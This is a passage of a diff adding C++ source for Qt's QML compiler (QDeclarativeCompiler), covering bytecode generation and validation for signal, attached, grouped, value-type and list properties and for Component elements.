+ init.init.bindingsSize = compileState.bindings.count(); // XXX - bigger than necessary
+ init.init.parserStatusSize = compileState.parserStatusCount; // XXX - bigger than necessary
+ init.init.contextCache = -1;
+ init.init.compiledBinding = -1;
+ output->bytecode << init;
+
+ foreach(Property *prop, obj->valueProperties) {
+ if (!prop->isDeferred)
+ continue;
+ genValueProperty(prop, obj);
+ }
+
+ output->bytecode[deferIdx].defer.deferCount =
+ output->bytecode.count() - deferIdx - 1;
+ }
+
+ foreach(Property *prop, obj->signalProperties) {
+
+ QDeclarativeParser::Value *v = prop->values.at(0);
+
+ if (v->type == Value::SignalObject) {
+
+ genObject(v->object);
+
+ QDeclarativeInstruction assign;
+ assign.type = QDeclarativeInstruction::AssignSignalObject;
+ assign.line = v->location.start.line;
+ assign.assignSignalObject.signal =
+ output->indexForByteArray(prop->name);
+ output->bytecode << assign;
+
+ } else if (v->type == Value::SignalExpression) {
+
+ BindingContext ctxt = compileState.signalExpressions.value(v);
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreSignal;
+ store.line = v->location.start.line;
+ store.storeSignal.signalIndex = prop->index;
+ store.storeSignal.value =
+ output->indexForString(v->value.asScript().trimmed());
+ store.storeSignal.context = ctxt.stack;
+ store.storeSignal.name = output->indexForByteArray(prop->name);
+ output->bytecode << store;
+
+ }
+
+ }
+
+ foreach(Property *prop, obj->attachedProperties) {
+ QDeclarativeInstruction fetch;
+ fetch.type = QDeclarativeInstruction::FetchAttached;
+ fetch.line = prop->location.start.line;
+ fetch.fetchAttached.id = prop->index;
+ output->bytecode << fetch;
+
+ genObjectBody(prop->value);
+
+ QDeclarativeInstruction pop;
+ pop.type = QDeclarativeInstruction::PopFetchedObject;
+ pop.line = prop->location.start.line;
+ output->bytecode << pop;
+ }
+
+ foreach(Property *prop, obj->groupedProperties) {
+ QDeclarativeInstruction fetch;
+ fetch.type = QDeclarativeInstruction::FetchObject;
+ fetch.fetch.property = prop->index;
+ fetch.line = prop->location.start.line;
+ output->bytecode << fetch;
+
+ if (!prop->value->metadata.isEmpty()) {
+ QDeclarativeInstruction meta;
+ meta.type = QDeclarativeInstruction::StoreMetaObject;
+ meta.line = 0;
+ meta.storeMeta.data = output->indexForByteArray(prop->value->metadata);
+ meta.storeMeta.aliasData = output->indexForByteArray(prop->value->synthdata);
+ meta.storeMeta.propertyCache = -1;
+ output->bytecode << meta;
+ }
+
+ genObjectBody(prop->value);
+
+ QDeclarativeInstruction pop;
+ pop.type = QDeclarativeInstruction::PopFetchedObject;
+ pop.line = prop->location.start.line;
+ output->bytecode << pop;
+ }
+
+ foreach(Property *prop, obj->valueTypeProperties) {
+ if (!prop->isAlias)
+ genValueTypeProperty(obj, prop);
+ }
+
+ foreach(Property *prop, obj->valueProperties) {
+ if (prop->isDeferred)
+ continue;
+ if (prop->isAlias)
+ genValueProperty(prop, obj);
+ }
+
+ foreach(Property *prop, obj->valueTypeProperties) {
+ if (prop->isAlias)
+ genValueTypeProperty(obj, prop);
+ }
+}
+
+void QDeclarativeCompiler::genValueTypeProperty(QDeclarativeParser::Object *obj,QDeclarativeParser::Property *prop)
+{
+ QDeclarativeInstruction fetch;
+ fetch.type = QDeclarativeInstruction::FetchValueType;
+ fetch.fetchValue.property = prop->index;
+ fetch.fetchValue.type = prop->type;
+ fetch.fetchValue.bindingSkipList = 0;
+ fetch.line = prop->location.start.line;
+
+ if (obj->type == -1 || output->types.at(obj->type).component) {
+ // We only have to do this if this is a composite type. If it is a builtin
+ // type it can't possibly already have bindings that need to be cleared.
+ foreach(Property *vprop, prop->value->valueProperties) {
+ if (!vprop->values.isEmpty()) {
+ Q_ASSERT(vprop->index >= 0 && vprop->index < 32);
+ fetch.fetchValue.bindingSkipList |= (1 << vprop->index);
+ }
+ }
+ }
+
+ output->bytecode << fetch;
+
+ foreach(Property *vprop, prop->value->valueProperties) {
+ genPropertyAssignment(vprop, prop->value, prop);
+ }
+
+ QDeclarativeInstruction pop;
+ pop.type = QDeclarativeInstruction::PopValueType;
+ pop.fetchValue.property = prop->index;
+ pop.fetchValue.type = prop->type;
+ pop.fetchValue.bindingSkipList = 0;
+ pop.line = prop->location.start.line;
+ output->bytecode << pop;
+}
+
+void QDeclarativeCompiler::genComponent(QDeclarativeParser::Object *obj)
+{
+ QDeclarativeParser::Object *root = obj->defaultProperty->values.at(0)->object;
+ Q_ASSERT(root);
+
+ QDeclarativeInstruction create;
+ create.type = QDeclarativeInstruction::CreateComponent;
+ create.line = root->location.start.line;
+ create.createComponent.column = root->location.start.column;
+ create.createComponent.endLine = root->location.end.line;
+ output->bytecode << create;
+ int count = output->bytecode.count();
+
+ ComponentCompileState oldCompileState = compileState;
+ compileState = componentState(root);
+
+ QDeclarativeInstruction init;
+ init.type = QDeclarativeInstruction::Init;
+ init.init.bindingsSize = compileState.bindings.count();
+ init.init.parserStatusSize = compileState.parserStatusCount;
+ init.init.contextCache = genContextCache();
+ if (compileState.compiledBindingData.isEmpty())
+ init.init.compiledBinding = -1;
+ else
+ init.init.compiledBinding = output->indexForByteArray(compileState.compiledBindingData);
+ init.line = obj->location.start.line;
+ output->bytecode << init;
+
+ genObject(root);
+
+ QDeclarativeInstruction def;
+ init.line = 0;
+ def.type = QDeclarativeInstruction::SetDefault;
+ output->bytecode << def;
+
+ output->bytecode[count - 1].createComponent.count =
+ output->bytecode.count() - count;
+
+ compileState = oldCompileState;
+
+ if (!obj->id.isEmpty()) {
+ QDeclarativeInstruction id;
+ id.type = QDeclarativeInstruction::SetId;
+ id.line = 0;
+ id.setId.value = output->indexForString(obj->id);
+ id.setId.index = obj->idIndex;
+ output->bytecode << id;
+ }
+
+ if (obj == unitRoot) {
+ output->rootPropertyCache = output->types[obj->type].createPropertyCache(engine);
+ output->rootPropertyCache->addref();
+ }
+}
+
+bool QDeclarativeCompiler::buildComponent(QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ // The special "Component" element can only have the id property and a
+ // default property, that actually defines the component's tree
+
+ // Find, check and set the "id" property (if any)
+ Property *idProp = 0;
+ if (obj->properties.count() > 1 ||
+ (obj->properties.count() == 1 && obj->properties.begin().key() != "id"))
+ COMPILE_EXCEPTION(*obj->properties.begin(), tr("Component elements may not contain properties other than id"));
+
+ if (obj->properties.count())
+ idProp = *obj->properties.begin();
+
+ if (idProp) {
+ if (idProp->value || idProp->values.count() > 1 || idProp->values.at(0)->object)
+ COMPILE_EXCEPTION(idProp, tr("Invalid component id specification"));
+ COMPILE_CHECK(checkValidId(idProp->values.first(), idProp->values.first()->primitive()))
+
+ QString idVal = idProp->values.first()->primitive();
+
+ if (compileState.ids.contains(idVal))
+ COMPILE_EXCEPTION(idProp, tr("id is not unique"));
+
+ obj->id = idVal;
+ addId(idVal, obj);
+ }
+
+ // Check the Component tree is well formed
+ if (obj->defaultProperty &&
+ (obj->defaultProperty->value || obj->defaultProperty->values.count() > 1 ||
+ (obj->defaultProperty->values.count() == 1 && !obj->defaultProperty->values.first()->object)))
+ COMPILE_EXCEPTION(obj, tr("Invalid component body specification"));
+
+ if (!obj->dynamicProperties.isEmpty())
+ COMPILE_EXCEPTION(obj, tr("Component objects cannot declare new properties."));
+ if (!obj->dynamicSignals.isEmpty())
+ COMPILE_EXCEPTION(obj, tr("Component objects cannot declare new signals."));
+ if (!obj->dynamicSlots.isEmpty())
+ COMPILE_EXCEPTION(obj, tr("Component objects cannot declare new functions."));
+
+ QDeclarativeParser::Object *root = 0;
+ if (obj->defaultProperty && obj->defaultProperty->values.count())
+ root = obj->defaultProperty->values.first()->object;
+
+ if (!root)
+ COMPILE_EXCEPTION(obj, tr("Cannot create empty component specification"));
+
+ // Build the component tree
+ COMPILE_CHECK(buildComponentFromRoot(root, ctxt));
+
+ return true;
+}
+
+bool QDeclarativeCompiler::buildComponentFromRoot(QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ ComponentCompileState oldComponentCompileState = compileState;
+ ComponentStat oldComponentStat = componentStat;
+
+ compileState = ComponentCompileState();
+ compileState.root = obj;
+
+ componentStat = ComponentStat();
+ componentStat.lineNumber = obj->location.start.line;
+
+ if (obj)
+ COMPILE_CHECK(buildObject(obj, ctxt));
+
+ COMPILE_CHECK(completeComponentBuild());
+
+ compileState = oldComponentCompileState;
+ componentStat = oldComponentStat;
+
+ return true;
+}
+
+
+// Build a sub-object. A sub-object is one that was not created directly by
+// QML - such as a grouped property object, or an attached object. Sub-object's
+// can't have an id, involve a custom parser, have attached properties etc.
+bool QDeclarativeCompiler::buildSubObject(QDeclarativeParser::Object *obj, const BindingContext &ctxt)
+{
+ Q_ASSERT(obj->metatype);
+ Q_ASSERT(!obj->defaultProperty);
+ Q_ASSERT(ctxt.isSubContext()); // sub-objects must always be in a binding
+ // sub-context
+
+ foreach(Property *prop, obj->properties) {
+ if (isSignalPropertyName(prop->name)) {
+ COMPILE_CHECK(buildSignal(prop, obj, ctxt));
+ } else {
+ COMPILE_CHECK(buildProperty(prop, obj, ctxt));
+ }
+ }
+
+ return true;
+}
+
+int QDeclarativeCompiler::componentTypeRef()
+{
+ QDeclarativeType *t = QDeclarativeMetaType::qmlType("QtQuick/Component",1,0);
+ for (int ii = output->types.count() - 1; ii >= 0; --ii) {
+ if (output->types.at(ii).type == t)
+ return ii;
+ }
+ QDeclarativeCompiledData::TypeReference ref;
+ ref.className = "Component";
+ ref.type = t;
+ output->types << ref;
+ return output->types.count() - 1;
+}
+
+bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(obj->metaObject());
+
+ QByteArray name = prop->name;
+ Q_ASSERT(name.startsWith("on"));
+ name = name.mid(2);
+ if(name[0] >= 'A' && name[0] <= 'Z')
+ name[0] = name[0] - 'A' + 'a';
+
+ bool notInRevision = false;
+ int sigIdx = indexOfSignal(obj, name, &notInRevision);
+
+ if (sigIdx == -1) {
+
+ if (notInRevision && -1 == indexOfProperty(obj, prop->name, 0)) {
+ Q_ASSERT(obj->type != -1);
+ const QList<QDeclarativeTypeData::TypeReference> &resolvedTypes = unit->resolvedTypes();
+ const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+ if (type.type) {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+ } else {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+ }
+ }
+
+ // If the "on<Signal>" name doesn't resolve into a signal, try it as a
+ // property.
+ COMPILE_CHECK(buildProperty(prop, obj, ctxt));
+
+ } else {
+
+ if (prop->value || prop->values.count() != 1)
+ COMPILE_EXCEPTION(prop, tr("Incorrectly specified signal assignment"));
+
+ prop->index = sigIdx;
+ obj->addSignalProperty(prop);
+
+ if (prop->values.at(0)->object) {
+ COMPILE_CHECK(buildObject(prop->values.at(0)->object, ctxt));
+ prop->values.at(0)->type = Value::SignalObject;
+ } else {
+ prop->values.at(0)->type = Value::SignalExpression;
+
+ if (!prop->values.at(0)->value.isScript())
+ COMPILE_EXCEPTION(prop, tr("Cannot assign a value to a signal (expecting a script to be run)"));
+
+ QString script = prop->values.at(0)->value.asScript().trimmed();
+ if (script.isEmpty())
+ COMPILE_EXCEPTION(prop, tr("Empty signal assignment"));
+
+ compileState.signalExpressions.insert(prop->values.at(0), ctxt);
+ }
+ }
+
+ return true;
+}
+
+
+/*!
+ Returns true if (value) property \a prop exists on obj, false otherwise.
+*/
+bool QDeclarativeCompiler::doesPropertyExist(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj)
+{
+ if(isAttachedPropertyName(prop->name) || prop->name == "id")
+ return true;
+
+ const QMetaObject *mo = obj->metaObject();
+ if (mo) {
+ if (prop->isDefault) {
+ QMetaProperty p = QDeclarativeMetaType::defaultProperty(mo);
+ return p.name() != 0;
+ } else {
+ int idx = indexOfProperty(obj, prop->name);
+ return idx != -1 && mo->property(idx).isScriptable();
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ if (prop->isEmpty())
+ COMPILE_EXCEPTION(prop, tr("Empty property assignment"));
+
+ const QMetaObject *metaObject = obj->metaObject();
+ Q_ASSERT(metaObject);
+
+ if (isAttachedPropertyName(prop->name)) {
+ // Setup attached property data
+
+ if (ctxt.isSubContext()) {
+ // Attached properties cannot be used on sub-objects. Sub-objects
+ // always exist in a binding sub-context, which is what we test
+ // for here.
+ COMPILE_EXCEPTION(prop, tr("Attached properties cannot be used here"));
+ }
+
+ QDeclarativeType *type = 0;
+ QDeclarativeImportedNamespace *typeNamespace = 0;
+ unit->imports().resolveType(prop->name, &type, 0, 0, 0, &typeNamespace);
+
+ if (typeNamespace) {
+ // ### We might need to indicate that this property is a namespace
+ // for the DOM API
+ COMPILE_CHECK(buildPropertyInNamespace(typeNamespace, prop, obj,
+ ctxt));
+ return true;
+ } else if (!type || !type->attachedPropertiesType()) {
+ COMPILE_EXCEPTION(prop, tr("Non-existent attached object"));
+ }
+
+ if (!prop->value)
+ COMPILE_EXCEPTION(prop, tr("Invalid attached object assignment"));
+
+ Q_ASSERT(type->attachedPropertiesFunction());
+ prop->index = type->attachedPropertiesId();
+ prop->value->metatype = type->attachedPropertiesType();
+ } else {
+ // Setup regular property data
+ QMetaProperty p;
+
+ if (prop->isDefault) {
+ p = QDeclarativeMetaType::defaultProperty(metaObject);
+
+ if (p.name()) {
+ prop->index = p.propertyIndex();
+ prop->name = p.name();
+ }
+
+ } else {
+ bool notInRevision = false;
+ prop->index = indexOfProperty(obj, prop->name, &notInRevision);
+ if (prop->index == -1 && notInRevision) {
+ const QList<QDeclarativeTypeData::TypeReference> &resolvedTypes = unit->resolvedTypes();
+ const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+ if (type.type) {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+ } else {
+ COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+ }
+ }
+
+ if (prop->index != -1) {
+ p = metaObject->property(prop->index);
+ Q_ASSERT(p.name());
+
+ if (!p.isScriptable()) {
+ prop->index = -1;
+ p = QMetaProperty();
+ }
+ }
+ }
+
+ // We can't error here as the "id" property does not require a
+ // successful index resolution
+ if (p.name())
+ prop->type = p.userType();
+
+ // Check if this is an alias
+ if (prop->index != -1 &&
+ prop->parent &&
+ prop->parent->type != -1 &&
+ output->types.at(prop->parent->type).component) {
+
+ QDeclarativePropertyCache *cache = output->types.at(prop->parent->type).component->rootPropertyCache;
+ if (cache && cache->property(prop->index) &&
+ cache->property(prop->index)->flags & QDeclarativePropertyCache::Data::IsAlias)
+ prop->isAlias = true;
+ }
+
+ if (prop->index != -1 && !prop->values.isEmpty())
+ prop->parent->setBindingBit(prop->index);
+ }
+
+ if (!prop->isDefault && prop->name == "id" && !ctxt.isSubContext()) {
+
+ // The magic "id" behavior doesn't apply when "id" is resolved as a
+ // default property or to sub-objects (which are always in binding
+ // sub-contexts)
+ COMPILE_CHECK(buildIdProperty(prop, obj));
+ if (prop->type == QVariant::String &&
+ prop->values.at(0)->value.isString())
+ COMPILE_CHECK(buildPropertyAssignment(prop, obj, ctxt));
+
+ } else if (isAttachedPropertyName(prop->name)) {
+
+ COMPILE_CHECK(buildAttachedProperty(prop, obj, ctxt));
+
+ } else if (prop->index == -1) {
+
+ if (prop->isDefault) {
+ COMPILE_EXCEPTION(prop->values.first(), tr("Cannot assign to non-existent default property"));
+ } else {
+ COMPILE_EXCEPTION(prop, tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(prop->name)));
+ }
+
+ } else if (prop->value) {
+
+ COMPILE_CHECK(buildGroupedProperty(prop, obj, ctxt));
+
+ } else if (enginePrivate->isList(prop->type)) {
+
+ COMPILE_CHECK(buildListProperty(prop, obj, ctxt));
+
+ } else if (prop->type == qMetaTypeId<QDeclarativeScriptString>()) {
+
+ COMPILE_CHECK(buildScriptStringProperty(prop, obj, ctxt));
+
+ } else {
+
+ COMPILE_CHECK(buildPropertyAssignment(prop, obj, ctxt));
+
+ }
+
+ return true;
+}
+
+bool QDeclarativeCompiler::buildPropertyInNamespace(QDeclarativeImportedNamespace *ns,
+ QDeclarativeParser::Property *nsProp,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ if (!nsProp->value)
+ COMPILE_EXCEPTION(nsProp, tr("Invalid use of namespace"));
+
+ foreach (Property *prop, nsProp->value->properties) {
+
+ if (!isAttachedPropertyName(prop->name))
+ COMPILE_EXCEPTION(prop, tr("Not an attached property name"));
+
+ // Setup attached property data
+
+ QDeclarativeType *type = 0;
+ unit->imports().resolveType(ns, prop->name, &type, 0, 0, 0);
+
+ if (!type || !type->attachedPropertiesType())
+ COMPILE_EXCEPTION(prop, tr("Non-existent attached object"));
+
+ if (!prop->value)
+ COMPILE_EXCEPTION(prop, tr("Invalid attached object assignment"));
+
+ Q_ASSERT(type->attachedPropertiesFunction());
+ prop->index = type->index();
+ prop->value->metatype = type->attachedPropertiesType();
+
+ COMPILE_CHECK(buildAttachedProperty(prop, obj, ctxt));
+ }
+
+ return true;
+}
+
+void QDeclarativeCompiler::genValueProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj)
+{
+ if (enginePrivate->isList(prop->type)) {
+ genListProperty(prop, obj);
+ } else {
+ genPropertyAssignment(prop, obj);
+ }
+}
+
+void QDeclarativeCompiler::genListProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj)
+{
+ int listType = enginePrivate->listType(prop->type);
+
+ QDeclarativeInstruction fetch;
+ fetch.type = QDeclarativeInstruction::FetchQList;
+ fetch.line = prop->location.start.line;
+ fetch.fetchQmlList.property = prop->index;
+ bool listTypeIsInterface = QDeclarativeMetaType::isInterface(listType);
+ fetch.fetchQmlList.type = listType;
+ output->bytecode << fetch;
+
+ for (int ii = 0; ii < prop->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->values.at(ii);
+
+ if (v->type == Value::CreatedObject) {
+
+ genObject(v->object);
+ if (listTypeIsInterface) {
+ QDeclarativeInstruction assign;
+ assign.type = QDeclarativeInstruction::AssignObjectList;
+ assign.line = prop->location.start.line;
+ output->bytecode << assign;
+ } else {
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreObjectQList;
+ store.line = prop->location.start.line;
+ output->bytecode << store;
+ }
+
+ } else if (v->type == Value::PropertyBinding) {
+
+ genBindingAssignment(v, prop, obj);
+
+ }
+
+ }
+
+ QDeclarativeInstruction pop;
+ pop.type = QDeclarativeInstruction::PopQList;
+ pop.line = prop->location.start.line;
+ output->bytecode << pop;
+}
+
+void QDeclarativeCompiler::genPropertyAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Property *valueTypeProperty)
+{
+ for (int ii = 0; ii < prop->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->values.at(ii);
+
+ Q_ASSERT(v->type == Value::CreatedObject ||
+ v->type == Value::PropertyBinding ||
+ v->type == Value::Literal);
+
+ if (v->type == Value::CreatedObject) {
+
+ genObject(v->object);
+
+ if (QDeclarativeMetaType::isInterface(prop->type)) {
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreInterface;
+ store.line = v->object->location.start.line;
+ store.storeObject.propertyIndex = prop->index;
+ output->bytecode << store;
+
+ } else if (prop->type == -1) {
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreVariantObject;
+ store.line = v->object->location.start.line;
+ store.storeObject.propertyIndex = prop->index;
+ output->bytecode << store;
+
+ } else {
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreObject;
+ store.line = v->object->location.start.line;
+ store.storeObject.propertyIndex = prop->index;
+ output->bytecode << store;
+
+ }
+ } else if (v->type == Value::PropertyBinding) {
+
+ genBindingAssignment(v, prop, obj, valueTypeProperty);
+
+ } else if (v->type == Value::Literal) {
+
+ QMetaProperty mp = obj->metaObject()->property(prop->index);
+ genLiteralAssignment(mp, v);
+
+ }
+
+ }
+
+ for (int ii = 0; ii < prop->onValues.count(); ++ii) {
+
+ QDeclarativeParser::Value *v = prop->onValues.at(ii);
+
+ Q_ASSERT(v->type == Value::ValueSource ||
+ v->type == Value::ValueInterceptor);
+
+ if (v->type == Value::ValueSource) {
+ genObject(v->object);
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreValueSource;
+ store.line = v->object->location.start.line;
+ if (valueTypeProperty) {
+ store.assignValueSource.property = genValueTypeData(prop, valueTypeProperty);
+ store.assignValueSource.owner = 1;
+ } else {
+ store.assignValueSource.property = genPropertyData(prop);
+ store.assignValueSource.owner = 0;
+ }
+ QDeclarativeType *valueType = toQmlType(v->object);
+ store.assignValueSource.castValue = valueType->propertyValueSourceCast();
+ output->bytecode << store;
+
+ } else if (v->type == Value::ValueInterceptor) {
+ genObject(v->object);
+
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreValueInterceptor;
+ store.line = v->object->location.start.line;
+ if (valueTypeProperty) {
+ store.assignValueInterceptor.property = genValueTypeData(prop, valueTypeProperty);
+ store.assignValueInterceptor.owner = 1;
+ } else {
+ store.assignValueInterceptor.property = genPropertyData(prop);
+ store.assignValueInterceptor.owner = 0;
+ }
+ QDeclarativeType *valueType = toQmlType(v->object);
+ store.assignValueInterceptor.castValue = valueType->propertyValueInterceptorCast();
+ output->bytecode << store;
+ }
+
+ }
+}
+
+bool QDeclarativeCompiler::buildIdProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj)
+{
+ if (prop->value ||
+ prop->values.count() > 1 ||
+ prop->values.at(0)->object)
+ COMPILE_EXCEPTION(prop, tr("Invalid use of id property"));
+
+ QDeclarativeParser::Value *idValue = prop->values.at(0);
+ QString val = idValue->primitive();
+
+ COMPILE_CHECK(checkValidId(idValue, val));
+
+ if (compileState.ids.contains(val))
+ COMPILE_EXCEPTION(prop, tr("id is not unique"));
+
+ prop->values.at(0)->type = Value::Id;
+
+ obj->id = val;
+ addId(val, obj);
+
+ return true;
+}
+
+void QDeclarativeCompiler::addId(const QString &id, QDeclarativeParser::Object *obj)
+{
+ Q_ASSERT(!compileState.ids.contains(id));
+ Q_ASSERT(obj->id == id);
+ obj->idIndex = compileState.ids.count();
+ compileState.ids.insert(id, obj);
+ compileState.idIndexes.insert(obj->idIndex, obj);
+}
+
+void QDeclarativeCompiler::addBindingReference(const BindingReference &ref)
+{
+ Q_ASSERT(ref.value && !compileState.bindings.contains(ref.value));
+ compileState.bindings.insert(ref.value, ref);
+}
+
+void QDeclarativeCompiler::saveComponentState()
+{
+ Q_ASSERT(compileState.root);
+ Q_ASSERT(!savedCompileStates.contains(compileState.root));
+
+ savedCompileStates.insert(compileState.root, compileState);
+ savedComponentStats.append(componentStat);
+}
+
+QDeclarativeCompiler::ComponentCompileState
+QDeclarativeCompiler::componentState(QDeclarativeParser::Object *obj)
+{
+ Q_ASSERT(savedCompileStates.contains(obj));
+ return savedCompileStates.value(obj);
+}
+
+// Build attached property object. In this example,
+// Text {
+// GridView.row: 10
+// }
+// GridView is an attached property object.
+bool QDeclarativeCompiler::buildAttachedProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->value);
+ Q_ASSERT(prop->index != -1); // This is set in buildProperty()
+
+ obj->addAttachedProperty(prop);
+
+ COMPILE_CHECK(buildSubObject(prop->value, ctxt.incr()));
+
+ return true;
+}
+
+
+// Build "grouped" properties. In this example:
+// Text {
+// font.pointSize: 12
+// font.family: "Helvetica"
+// }
+// font is a nested property. pointSize and family are not.
+bool QDeclarativeCompiler::buildGroupedProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->type != 0);
+ Q_ASSERT(prop->index != -1);
+
+ if (QDeclarativeValueTypeFactory::isValueType(prop->type)) {
+ if (prop->type >= 0 /* QVariant == -1 */ && enginePrivate->valueTypes[prop->type]) {
+
+ if (prop->values.count()) {
+ if (prop->values.at(0)->location < prop->value->location) {
+ COMPILE_EXCEPTION(prop->value, tr( "Property has already been assigned a value"));
+ } else {
+ COMPILE_EXCEPTION(prop->values.at(0), tr( "Property has already been assigned a value"));
+ }
+ }
+
+ if (!obj->metaObject()->property(prop->index).isWritable()) {
+ COMPILE_EXCEPTION(prop, tr( "Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop->name)));
+ }
+
+
+ if (prop->isAlias) {
+ foreach (Property *vtProp, prop->value->properties)
+ vtProp->isAlias = true;
+ }
+
+ COMPILE_CHECK(buildValueTypeProperty(enginePrivate->valueTypes[prop->type],
+ prop->value, obj, ctxt.incr()));
+ obj->addValueTypeProperty(prop);
+ } else {
+ COMPILE_EXCEPTION(prop, tr("Invalid grouped property access"));
+ }
+
+ } else {
+ // Load the nested property's meta type
+ prop->value->metatype = enginePrivate->metaObjectForType(prop->type);
+ if (!prop->value->metatype)
+ COMPILE_EXCEPTION(prop, tr("Invalid grouped property access"));
+
+ if (prop->values.count())
+ COMPILE_EXCEPTION(prop->values.at(0), tr( "Cannot assign a value directly to a grouped property"));
+
+ obj->addGroupedProperty(prop);
+
+ COMPILE_CHECK(buildSubObject(prop->value, ctxt.incr()));
+ }
+
+ return true;
+}
+
+bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Object *baseObj,
+ const BindingContext &ctxt)
+{
+ if (obj->defaultProperty)
+ COMPILE_EXCEPTION(obj, tr("Invalid property use"));
+ obj->metatype = type->metaObject();
+
+ foreach (Property *prop, obj->properties) {
+ int idx = type->metaObject()->indexOfProperty(prop->name.constData());
+ if (idx == -1)
+ COMPILE_EXCEPTION(prop, tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(prop->name)));
+ QMetaProperty p = type->metaObject()->property(idx);
+ if (!p.isScriptable())
+ COMPILE_EXCEPTION(prop, tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(prop->name)));
+ prop->index = idx;
+ prop->type = p.userType();
+ prop->isValueTypeSubProperty = true;
+
+ if (prop->value)
+ COMPILE_EXCEPTION(prop, tr("Property assignment expected"));
+
+ if (prop->values.count() > 1) {
+ COMPILE_EXCEPTION(prop, tr("Single property assignment expected"));
+ } else if (prop->values.count()) {
+ QDeclarativeParser::Value *value = prop->values.at(0);
+
+ if (value->object) {
+ COMPILE_EXCEPTION(prop, tr("Unexpected object assignment"));
+ } else if (value->value.isScript()) {
+ // ### Check for writability
+
+ //optimization for <Type>.<EnumValue> enum assignments
+ bool isEnumAssignment = false;
+ COMPILE_CHECK(testQualifiedEnumAssignment(p, obj, value, &isEnumAssignment));
+ if (isEnumAssignment) {
+ value->type = Value::Literal;
+ } else {
+ BindingReference reference;
+ reference.expression = value->value;
+ reference.property = prop;
+ reference.value = value;
+ reference.bindingContext = ctxt;
+ reference.bindingContext.owner++;
+ addBindingReference(reference);
+ value->type = Value::PropertyBinding;
+ }
+ } else {
+ COMPILE_CHECK(testLiteralAssignment(p, value));
+ value->type = Value::Literal;
+ }
+ }
+
+ for (int ii = 0; ii < prop->onValues.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->onValues.at(ii);
+ Q_ASSERT(v->object);
+
+ COMPILE_CHECK(buildPropertyOnAssignment(prop, obj, baseObj, v, ctxt));
+ }
+
+ obj->addValueProperty(prop);
+ }
+
+ return true;
+}
+
+// Build assignments to QML lists. QML lists are properties of type
+// QDeclarativeListProperty<T>. List properties can accept a list of
+// objects, or a single binding.
+bool QDeclarativeCompiler::buildListProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(enginePrivate->isList(prop->type));
+
+ int t = prop->type;
+
+ obj->addValueProperty(prop);
+
+ int listType = enginePrivate->listType(t);
+ bool listTypeIsInterface = QDeclarativeMetaType::isInterface(listType);
+
+ bool assignedBinding = false;
+ for (int ii = 0; ii < prop->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->values.at(ii);
+ if (v->object) {
+ v->type = Value::CreatedObject;
+ COMPILE_CHECK(buildObject(v->object, ctxt));
+
+ // We check object coercian here. We check interface assignment
+ // at runtime.
+ if (!listTypeIsInterface) {
+ if (!canCoerce(listType, v->object)) {
+ COMPILE_EXCEPTION(v, tr("Cannot assign object to list"));
+ }
+ }
+
+ } else if (v->value.isScript()) {
+ if (assignedBinding)
+ COMPILE_EXCEPTION(v, tr("Can only assign one binding to lists"));
+
+ assignedBinding = true;
+ COMPILE_CHECK(buildBinding(v, prop, ctxt));
+ v->type = Value::PropertyBinding;
+ } else {
+ COMPILE_EXCEPTION(v, tr("Cannot assign primitives to lists"));
+ }
+ }
+
+ return true;
+}
+
+// Compiles an assignment to a QDeclarativeScriptString property
